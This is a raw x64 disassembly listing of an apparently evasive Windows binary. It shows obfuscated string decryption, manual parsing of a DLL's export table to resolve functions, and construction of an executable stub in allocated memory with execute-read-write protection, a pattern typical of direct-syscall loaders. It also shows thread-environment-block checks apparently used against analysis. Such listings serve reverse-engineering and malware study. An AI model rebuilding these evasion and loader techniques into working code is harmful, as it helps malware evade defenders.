movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r15, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
add r10, rsi
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x1400125b8
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400c0d40]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400c0c10]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x1905
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
add r8, rsi
add r9, r12
add r10, 0x22
movabs rax, 0x5642ac20bc
cmp r9, rax
jb 0x140012654
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140082048
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400cead0], r14
jne 0x140012727
mov ecx, 0x26b0
call fcn.14008690c
test rax, rax
je 0x140012727
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400cead0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400c0e80]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14001c854
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
add rdi, rsi
cmp rdi, 0x17
jb 0x140012766
mov byte [rbp + 0x7ff], r14b
mov rbx, qword [0x1400cead0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x140012885
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001283d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008690c
mov rsi, rax
test rax, rax
je 0x140012882
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400cead0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a4b00
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
mov qword [0x1400cead0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_27
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14001c76c
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x1400128a6
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400cead0]
test rbx, rbx
je 0x1400129b0
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001296a
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008690c
mov rsi, rax
test rax, rax
je 0x1400129ad
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400cead0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a4b00
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
mov qword [0x1400cead0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140012bdf
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140012bdf
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140012bdf
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140012bdf
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140012bdf
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140012a44
inc rax
test edi, edi
jne 0x140012a2f
test r8d, r8d
je 0x140012a56
inc rdx
cmp rdx, rsi
jb 0x140012a1e
jmp 0x140012bdf
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140012bdf
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x140012a7b
mov r14d, r15d
jmp 0x140012bdf
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14007b080
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14001d330
lea rcx, [rbp + 0x87b0]
call fcn.14001c8c8
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.14001c8c8
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140012af2
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400a4b00
mov dword [0x1400ccbc4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400ccbc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400ccbc8]
mov word [rdi + 8], ax
mov al, byte [0x1400ccbca]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400a51a0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400ccbc4], r15d
mov rdi, qword [0x1400cead0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x140012c93
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140012c81
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140012c81
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140012c46
xor edx, edx
call fcn.1400a51a0
jmp 0x140012c7f
cmp al, 1
jne 0x140012c81
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14001d098
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14001d24c
lea rcx, [rbp + 0x1168]
call fcn.14001d1dc
lea rcx, [rbp + 0x1168]
call fcn.140002338
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140012c0a
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
xor r15d, r15d
mov qword [0x1400cead0], r15
test r14d, r14d
js 0x14001b12d
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14001b12d
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14008690c
test rax, rax
je 0x140012cf7
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400cead0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400c0e80]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14001c854
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140012d3a
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400cead0]
test rbx, rbx
je 0x140012e61
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140012e0d
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008690c
mov rsi, rax
test rax, rax
je 0x140012e54
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400cead0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a4b00
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
mov qword [0x1400cead0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_27
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140012e57
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14001c76c
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140012e78
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400cead0]
test rbx, rbx
je 0x140012f87
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140012f3f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14008690c
mov rsi, rax
test rax, rax
je 0x140012f84
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400cead0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400a4b00
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
mov qword [0x1400cead0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140012f87
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140013018
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013018
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140013018
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140013018
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140013018
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140013007
inc rax
test edi, edi
jne 0x140012ff2
test r8d, r8d
je 0x140013093
inc rdx
cmp rdx, rsi
jb 0x140012fe1
mov r14d, r15d
mov rdi, qword [0x1400cead0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x140013262
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140013250
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140013250
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140013217
xor edx, edx
call fcn.1400a51a0
jmp 0x140013250
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140013018
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140013018
cmp al, 1
jne 0x140013250
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.14001d098
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14001d24c
lea rcx, [rbp + 0x1148]
call fcn.14001d1dc
lea rcx, [rbp + 0x1148]
call fcn.140002338
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140013048
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400a51a0
mov rcx, rdi
call fcn.1400867e8
mov qword [0x1400cead0], r13
test r14d, r14d
js 0x14001af9c
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14001af9c
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
inc rdi
cmp r8d, 8
jb 0x14001330d
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r9d
inc r10
cmp r9d, 8
jb 0x140013386
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
mov esi, 1
add ebx, esi
add r8, rsi
movsxd rax, ebx
cmp rax, 0x28
jb 0x140013368
mov qword [rbp + 0xf58], r14
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
mov qword [rbp + 0xf50], r13
mov r8d, r13d
mov rdi, r13
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, rsi
cmp r8d, 8
jb 0x140013429
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, esi
add r9, rsi
cmp ecx, 8
jb 0x1400134a2
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0x60
mov r10, r13
movabs rbx, 0x144bec43f
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r14, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001aff0
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400c0e10]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x6eaa31c1
mov dword [rbp + 0x96c], 0xc7183ae
mov dword [rbp + 0x970], 0x9a85c070
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x2384dd76e4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x4709baedc8
cmp r9, rax
jb 0x14001b09b
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0x60
mov r10, r15
movabs rbx, 0x144bec43f
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r14, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x308]
xor dil, r10b
mov byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001b181
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400c0cb0]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xd464f228
mov word [rbp + 0x754], 0x83
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1aa3a6192b
movabs r10, 0x35474c3256
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x740]
xor dil, r9b
mov byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14001b22d
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140082048
int3
cmp rax, rbx
jne 0x14001b363
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b343
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b343
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b363
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140082048
int3
movdqa xmm0, xmmword [0x1400c0cf0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0x60
mov r10, r14
mov esi, 1
lea r11d, [rsi + 0x10]
movabs r8, 0x1590ab082f
movabs r9, 0x2b2156105e
movabs r15, 0x8080808080808081
movabs r13, 0x144bec43e
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
add r10, rsi
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001b3b0
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400c0d10]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xa83c79cf
mov dword [rbp + 0x82c], 0x1ffccd
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x1d2d23a1a9
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
add r8, rsi
add r9, r12
add r10, 0x17
movabs rax, 0x3a5a474352
cmp r9, rax
jb 0x14001b44b
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x24]
cmp rax, rbx
jne 0x14001b58e
mov rax, qword gs:[0x3a]
movabs r15, 0x2beb6ad95121aad0
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b56e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b56e
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b58e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rbx
jne 0x14001bd1e
mov rcx, qword gs:[0x3a]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x22ed25ae
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x3a]
xor edx, edx
mov eax, 0x2afbab8a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b62f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b62f
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
mov rax, qword gs:[0x24]
cmp rax, rsi
jne 0x14001b6fe
mov rax, qword gs:[0x3a]
mov ecx, 0xe1f6e62c
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x3a]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b6de
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b6de
mov rcx, qword gs:[0x3a]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b6fe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140082048
int3
